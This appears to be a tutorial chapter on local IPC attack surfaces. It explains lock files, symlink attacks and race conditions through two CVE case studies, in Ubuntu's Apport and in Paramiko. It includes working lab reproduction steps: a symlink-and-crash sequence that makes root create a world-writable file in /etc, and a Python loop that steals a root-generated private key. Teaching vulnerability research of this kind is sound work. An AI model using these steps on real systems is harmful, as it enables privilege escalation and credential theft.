While network protocols such as TCP (Transmission Control Protocol), UDP (User Datagram Protocol), and SCTP (Stream Control Transmission Protocol) primarily govern communication between distinct hosts within a network, Inter-Process Communication (IPC) mechanisms operate on a different plane. IPC typically facilitates communication between processes or threads residing on the same host. It’s important to remember that a process is an instance of a running program, not the program itself. Therefore, IPC allows multiple instances of the same program, running concurrently, to exchange information. This intricate web of intra-host communication constitutes the local attack surface of a target.
Interestingly, some protocols exhibit a dual nature, capable of operating both over a network and via IPC. AgentX, for example, is one such protocol. For AgentX subagents to communicate with the master agent on the same host, RFC 2741 explicitly suggests leveraging local mechanisms like shared memory, named pipes, and sockets. This flexibility, while convenient for developers, inadvertently introduces a whole new attack surface for the very same protocol, but in a local context.
From an attacker’s vantage point, network transport protocols expose a remote attack vector, allowing for exploitation from a distant machine. Conversely, local transport protocols, as the name unequivocally suggests, expose a local attack vector. However, the distinction isn’t always perfectly clear-cut; sometimes, the protocols used for network and local transport can overlap. For instance, named pipes on Windows can indeed be accessed over a network, blurring the line between local and remote. Typically, IPC mechanisms are the primary focus in local privilege escalation (LPE) exploits. This is because privilege escalation revolves around crossing a fundamental security boundary within the local context—gaining higher privileges on the system where the target software is running. As RFC 2741 sagely observes:
In the case where a local transport mechanism is used and both subagent and master agent are running on the same host, connection authorization can be delegated to the operating system features. The answer to the first security question then becomes: “If and only if the subagent has sufficient privileges, then the operating system will allow the connection.”
This highlights a critical point: the operating system itself becomes the gatekeeper for local IPC connections, enforcing privilege checks.
Furthermore, local transport mechanisms can be exploited in ways that are either limited or entirely impossible over a network. These include race conditions (where the output of an operation depends on the sequence or timing of other uncontrollable events) and timing attacks (where an attacker analyzes the time taken to execute cryptographic operations or other processes to extract secret information). To effectively exploit these nuances, you must gain a deep familiarity with the OS-specific implementations and protections of these IPC mechanisms.
Files in Inter-Process Communication: Persistent Channels
From network sockets to hardware devices, developers often expose a wide array of input/output resources using files. This provides a common and standardized set of channels for programs to interact with. For example, you can invoke a read operation on a named pipe (a form of IPC that allows two or more processes to communicate with each other by reading from and writing to a “pipe,” which behaves like a file), precisely as you would on a regular file, despite their fundamentally different underlying functions. This subsection specifically delves into the use of regular files for IPC.
While files can certainly be employed to exchange data between two processes, the inherent overhead associated with disk I/O (Input/Output) operations typically results in significantly worse performance compared to in-memory IPC methods like named pipes. Consequently, developers primarily opt for files in IPC scenarios where persistence is a key requirement (i.e., the data needs to survive system reboots or program restarts) or when communication speed is less of a critical concern.
One specialized yet common application of files in IPC is the use of lock files. These files serve as flags, indicating that a particular resource is already actively in use by a running process. By checking for the existence of a lock file, programs can prevent multiple instances of the same program from simultaneously modifying the same underlying file, thus avoiding data corruption. This protective measure is particularly crucial for file-based IPC because file operations are often not atomic; meaning, they are not guaranteed to be executed in a single, uninterruptible step.
Consider a commonplace example: a text editor. If you initiate an editing session on a file in one instance of the editor, and then, absentmindedly, open the very same file and begin working on it again in a separate instance, you run a high risk of overwriting all your previous edits with a single, ill-timed save operation from the second instance.
You can observe this protective mechanism in action with the widely used Vim editor, which comes pre-installed on systems like macOS and Ubuntu (though often as the minimal vi version).
Scenario:
- Open a terminal and start editing a new file with the command:
vi test. - Open a second terminal and attempt to edit the same file again with:
vi test.
You should be greeted with a message similar to the following:
E325: ATTENTION
Found a swap file by the name ".test.swp"
owned by: kali dated: Sun Jul 20 17:42:20 2025
file name: ~kali/test
modified: no
user name: kali host name: kali
process ID: 1334968 (STILL RUNNING)
While opening file "test"
CANNOT BE FOUND
(1) Another program may be editing the same file. If this is the case,
be careful not to end up with two different instances of the same
file when making changes. Quit, or continue with caution.
(2) An edit session for this file crashed.
If this is the case, use ":recover" or "vim -r test"
to recover the changes (see ":help recovery").
If you did this already, delete the swap file ".test.swp"
to avoid this message.
Swap file ".test.swp" already exists!
[O]pen Read-Only, (E)dit anyway, (R)ecover, (Q)uit, (A)bort: This informative error message refers to it as a “swap file” rather than a “lock file” because Vim’s swap files serve a slightly broader purpose of saving temporary draft edits. However, Vim shrewdly leverages this same swap file to double as a lock file, effectively warning users against inadvertently initiating another editing session on an already open file, thus preventing potential data loss.
Exploiting a Hardcoded Path in Apport: A Case Study
A specific implementation of lock files once led to an intriguing privilege escalation vulnerability (CVE-2020-8831) in Ubuntu, specifically through the Apport program. Apport is Ubuntu’s built-in crash handler, designed to detect and log crashes occurring in user space processes. The vulnerable code resided within the check_lock function of Apport, as can be observed in the source code file https://github.com/canonical/apport/blob/44a97a8/data/apport and presented in
def check_lock():
'''Abort if another instance of apport is already running.
This avoids bringing down the system to its knees if there is a series of crashes.'''
# Attempt to create the directory /var/lock/apport with permissions 0744
# This will be used to store the lock file
try:
os.mkdir("/var/lock/apport", mode=0o744) # ¶ Lock directory creation
except FileExistsError:
# If directory already exists, just continue
pass
# Try to open (or create) the lock file inside the /var/lock/apport directory
# Open in write-only mode, create if not exists, and prevent symlink following
try:
fd = os.open("/var/lock/apport/lock", os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW) # • Lock file creation/open
except OSError as e:
# If file can't be opened or created, log the error and abort
error_log('cannot create lock file (uid %i): %s' % (os.getuid(), str(e)))
sys.exit(1)
# Define a handler that is called if another instance is detected or the lock takes too long
def error_running(*args):
error_log('another apport instance is already running, aborting')
sys.exit(1)
# Save the original SIGALRM handler to restore later
original_handler = signal.signal(signal.SIGALRM, error_running)
# Set a 30-second alarm to avoid deadlock (ensures function exits if lock hangs)
signal.alarm(30)
try:
# Try to acquire an exclusive lock on the lock file
# If the file is already locked by another process, this will block until timeout
fcntl.lockf(fd, fcntl.LOCK_EX) # ‚ File-level locking to prevent concurrent instances
except IOError:
# If locking fails, assume another instance is running and exit
error_running()
finally:
# Disable the alarm regardless of success or failure
signal.alarm(0)
# Restore the original signal handler
signal.signal(signal.SIGALRM, original_handler)The Apport check_lock function
Apport executes check_lock as an integral part of its main routine. This function attempts to create the lock file if it doesn’t already exist (marked ¶) and then endeavors to acquire a lock on it using the fcntl.lockf function (indicated by ‚). fcntl.lockf is a POSIX-compliant API call that places a lock on a specific range of bytes within a file. The operating system diligently maintains a comprehensive list of all active locks to prevent multiple processes from attempting to create conflicting locks. The reliance on such standardized OS APIs allows developers to implement robust lock files in a more consistent and reliable manner.
The “Confused Deputy Problem” with Hardcoded Paths
However, programs that rely on hardcoded paths, such as /var/lock/apport/lock in this instance, inherently run the risk of attackers “hijacking” the files residing at those paths ahead of time. This vulnerability can be cleverly exploited through a technique known as a symbolic link (symlink) attack. A symlink (often referred to as a “soft link”) is a special type of file that simply points to another file or directory elsewhere in the filesystem. Critically, this redirection occurs transparently to other programs, as the operating system automatically resolves symlinks at the filesystem level before passing the resolved path to the application.
For example, if a symlink named a points to a file named b, executing cat a will output the contents of b without the cat program needing any special processing. While this transparency is convenient, it also poses a significant threat to programs that blindly rely on hardcoded paths. An attacker could strategically place a symlink to redirect the program to read from or write to a different destination—one that the attacker themselves might not have direct write access to, but the privileged program does. This is a classic instance of the “confused deputy problem,” a security flaw where an attack tricks a higher-privileged program (the “deputy”) into performing actions that the attacker has not been explicitly granted permission to perform. Many local privilege escalation (LPE) exploits leverage some variation of this confused deputy problem.
Fortunately, operating systems provide mechanisms for developers to detect and mitigate symlink attacks. In Linux, for example, the open system call accepts various file creation flag options, including O_NOFOLLOW. According to the open manual page, this flag dictates the following behavior: “If the trailing component (i.e., basename) of pathname is a symbolic link, then the open fails, with the error ELOOP.”
Apport’s code, appears to enable this O_NOFOLLOW flag (marked •). So, why was it still vulnerable? The critical detail lies in the continuation of the O_NOFOLLOW description: “Symbolic links in earlier components of the pathname will still be followed.“
This, precisely, was the core of the problem. If any other component in the hardcoded path /var/lock/apport/lock (other than the final lock filename itself) was a symlink, Apport would still happily follow it. In the case of Ubuntu, /var/lock itself is a symlink to /run/lock. Crucially, /run/lock is typically readable and writable by all users.
This unfortunate confluence of factors created the vulnerability: an attacker, operating as a low-privileged user, could create a symlink at /var/lock/apport (the directory component immediately preceding the lock file) pointing to any other directory on the system. If Apport subsequently ran, it would faithfully follow the attacker-controlled symlink, attempting to create its lock file in the attacker-specified destination. Since the os.open call in Apport’s code doesn’t explicitly specify a mode argument, it creates the lock file with the default file permission mode value of 0o777 (read, write, execute for owner, group, and others) by default. This means the newly created file would also be globally readable and writable by all users.
In essence, an attacker could exploit this vulnerability to trick Apport, which runs with higher privileges (as a crash handler, it needs elevated permissions), into creating a globally writable file in a location that the attacker would not normally have write access to. In Ubuntu, there are numerous critical system directories, such as those for cron jobs (scheduled tasks) or startup scripts, where the ability to create a world-writable file as root can lead directly to a local privilege escalation, allowing the attacker to execute arbitrary code with root privileges.
Hands-On Exploitation (for educational purposes on a controlled system):
To grasp this vulnerability firsthand, you can attempt to reproduce it in an Ubuntu environment by downgrading Apport to a vulnerable version.
- Check CVE Status: First, visit the security update page for CVE-2020-8831 on the Ubuntu website: https://ubuntu.com/security/CVE-2020-8831. The “Status” section will list the patched versions for various Ubuntu releases. For instance, for the Xenial Xerus release (16.04.7 LTS), the patched version for the Apport package is
2.20.1-0ubuntu2.23. - Find Vulnerable Package: Next, navigate to the Apport package page specific to your Ubuntu release (e.g., https://launchpad.net/ubuntu/xenial/+source/apport for Xenial). Locate the version immediately preceding the patch. In our Xenial example, this would be
2.20.1-0ubuntu2.22. - Download Vulnerable Package: Go to the specific build page for that vulnerable version (e.g., https://launchpad.net/ubuntu/+source/apport/2.20.1-0ubuntu2.22). Under the “Builds” section, there should be a link to the built binaries for your system’s architecture. Follow this link to the “Built files” section, where you’ll find the download link for the vulnerable
.debpackage (e.g.,apport_2.20.1-0ubuntu2.22_all.debfor Xenial). - Install Vulnerable Package: After downloading the
.debfile, install it using the command:sudo dpkg -i <filename>.deb. NOTE: It’s important to be aware that in later, hardened versions of Apport, a default user file creation mode mask (umask) of022is enforced for the root user. This means that even if the code attempts to create the lock file with a default access mode value of777, this022umask will filter out certain permissions, resulting in a final effective permission of755(read and execute for all users, but not writable by others). This hardening mitigates the specific write primitive used in this exploit. - Create Symlink as Low-Privileged User: As a low-privileged user, create a symbolic link from the Apport lock directory to a system directory like
/etcusing the command:ln -s /etc /var/lock/apport.- Verification: To confirm that you, as a low-privileged user, cannot normally write to
/etc, try creating a file there:touch /etc/evil. This command will fail with “touch: cannot touch ‘/etc/evil’: Permission denied” because Ubuntu typically assigns write permissions to/etconly for therootuser.
- Verification: To confirm that you, as a low-privileged user, cannot normally write to
- Trigger Apport Crash: Now, run the exploit by intentionally causing a crash that triggers Apport. In Bash, you can achieve this by running:
sleep 10s & kill -11 $!. This command backgrounds asleepprocess and then sends it aSIGSEGV(segmentation fault) signal, which is a common way to induce a crash that Apport will intercept. - Verify Exploit: Use
ls -l /etc/lockto check whether thelockfile was created in the/etcdirectory. If successful, you should see output similar to this:-rwxrwxrwx 1 root root 0 Mar 19 01:41 /etc/lockSuccess! The file/etc/lockhas been created with world-writable permissions (-rwxrwxrwx) and owned byroot. With the ability to trick a privileged program (Apport) into creating a world-writable file asrootin a critical system location, a low-privileged attacker can indeed wreak all kinds of havoc, achieving local privilege escalation and potentially full system compromise.
Like the preceding sections on HTTP and other network protocols, this exploration of the local attack surface first provided a high-level model (IPC, file-based communication) and then meticulously broke it down into its critical components (lock files, hardcoded paths, symlink vulnerabilities). This systematic approach is invaluable for efficiently identifying the greatest number of potential weak spots within a codebase, ensuring a thorough and impactful vulnerability research effort.
Exploiting a Race Condition in Paramiko:
Given that file-based IPC mechanisms are not atomic by default and rely on slower disk I/O operations compared to the rapid, in-memory operations of other IPC methods, they are inherently more susceptible to race conditions. A race condition occurs when the correct operation of a program relies on the specific sequence or timing of events, and these events can happen in an unpredictable order, leading to unintended and often exploitable behavior.
A prime example of such a vulnerability is CVE-2022-24302, a critical race condition identified in Paramiko. Paramiko is a widely used Python module that provides a pure Python implementation of the Secure Shell version 2 (SSH2) protocol. Developers utilize Paramiko to create SSH clients, servers, and perform various related cryptographic functions. For instance, you might use Paramiko to generate and securely save an RSA private key:
# Import the Paramiko library, which provides SSH and key generation capabilities
import paramiko
# Generate a new RSA private key with a key size of 1024 bits
# Note: 1024-bit keys are outdated and not recommended for secure systems
pkey = paramiko.rsakey.RSAKey.generate(1024)
# Write the generated RSA private key to a PEM-formatted file at the specified path
# The resulting file can be used for SSH authentication
pkey.write_private_key_file('/tmp/testkey.pem')Generating and saving an RSA private key with Paramiko
However, the internal _write_private_key_file method within Paramiko (a private method, typically indicated by a leading underscore, meaning it’s intended for internal use but still part of the attack surface) was found to be vulnerable to race conditions.
def _write_private_key_file(self, filename, key, format, password=None):
with open(filename, "w") as f: # ¶
# Race condition occurs here •
os.chmod(filename, 0o600)
self._write_private_key(f, key, format, password=password)Paramiko’s _write_private_key_file method
The core of the vulnerability lies in the sequence of operations within this function. It first creates the file using open(filename, "w") (marked ¶). Crucially, when open is called with "w" (write mode) and no explicit permissions are provided, the file is created with default permissions that are often world-readable. Immediately after this, the os.chmod(filename, 0o600) call (marked •) attempts to apply a more restrictive permission mode (read/write only for the owner, no permissions for group or others).
The critical flaw manifests in the extremely short time window that exists between the file’s creation with permissive default permissions and the subsequent application of the more restrictive 0o600 permissions. During this fleeting moment, an attacker could potentially open the file, gaining a file descriptor to it. Once a file descriptor is obtained, the attacker can continue to read from the file, even after Paramiko successfully changes the file permissions and writes the sensitive private key data. This behavior occurs because file permissions are typically checked only at the point when a file is opened. If the owner modifies the file permissions while a file descriptor to that file remains open (as the attacker would have), the change in permissions will not be immediately recognized by the already open file descriptor; it will only take effect when a new file descriptor is opened.
To practically exploit this dangerous gap between the open call and the chmod operation, you can employ a simple Python script designed to repeatedly attempt to open the known output filepath and read its contents.
while True:
try:
f = open('/tmp/testkey.pem', 'r')
input('file descriptor opened! press ENTER to read file')
print(f.read())
break
except:
continueParamiko’s race condition exploit script**
Steps to Reproduce (for educational purposes on a controlled system):
- Install Vulnerable Paramiko: Install the specific vulnerable version of Paramiko using the command:
sudo pip install paramiko==2.10.0. Running this withsudois important to ensure that therootuser (which we’ll use to generate the key) utilizes this vulnerable version. - Generate Key as Root: Execute
gen_save_key.pyas therootuser to generate the RSA private key at/tmp/testkey.pem.$ sudo python gen_save_key.py- Verification (as non-privileged user): As a non-privileged user, attempt to read the newly generated key file. You should be denied permission, confirming the intended security:
$ cat /tmp/testkey.pem cat: /tmp/testkey.pem: Permission denied
- Verification (as non-privileged user): As a non-privileged user, attempt to read the newly generated key file. You should be denied permission, confirming the intended security:
- Start Exploit Script: As the non-privileged user, launch the
exploit.pyscript. This script will continuously try to open/tmp/testkey.pem.$ python exploit.py - Trigger Race Condition (as root): While the
exploit.pyscript is running in the non-privileged session, switch back to yourrootuser session. Remove the previously generated key file, then immediately re-rungen_save_key.py:$ sudo rm /tmp/testkey.pem $ sudo python gen_save_key.py - Observe Exploit Success: In the non-privileged user’s session where
exploit.pyis running, you should eventually see a success message indicating that the file descriptor was opened, prompting you to press ENTER to read the file. Upon pressing ENTER, the script will successfully read and print the contents of the RSA private key:$ python exploit.py file descriptor opened! press ENTER to read file -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----

It is crucial to understand that since this is a race condition exploit, it may not succeed on every attempt. The precise timing window between the file opening and the permission change is often very small, and the permissions might be correctly applied before the exploit script manages to open the file. If the exploit fails, simply retry the steps to trigger the race.
For further practical experience and to deepen your understanding of these complex vulnerabilities, I highly recommend researching the Nimbuspwn collection of vulnerabilities. Discovered by the esteemed Microsoft 365 Defender Research Team, Nimbuspwn involved a series of issues, including both symlink attacks and Time-of-Check/Time-of-Use (TOCTOU) race condition issues, which ultimately led to privilege escalation in several prominent Linux distributions. You can find their detailed report here: Microsoft finds new elevation of privilege Linux vulnerability, Nimbuspwn.
In conclusion, like all other attack vectors, file-based IPC can introduce vulnerabilities if an attacker successfully hijacks the communication channel (in this context, by manipulating a known filepath that the application relies upon) and injects malicious input. However, given the unique characteristics of files, including their susceptibility to symbolic links and their inherent lack of atomicity for certain operations, it is imperative for vulnerability researchers to remain vigilant for specialized exploits such as CVE-2020-8831 (the Apport symlink issue) and CVE-2022-24302 (the Paramiko race condition). These cases serve as powerful reminders that a deep understanding of underlying operating system mechanics is as crucial as analyzing the application’s own logic.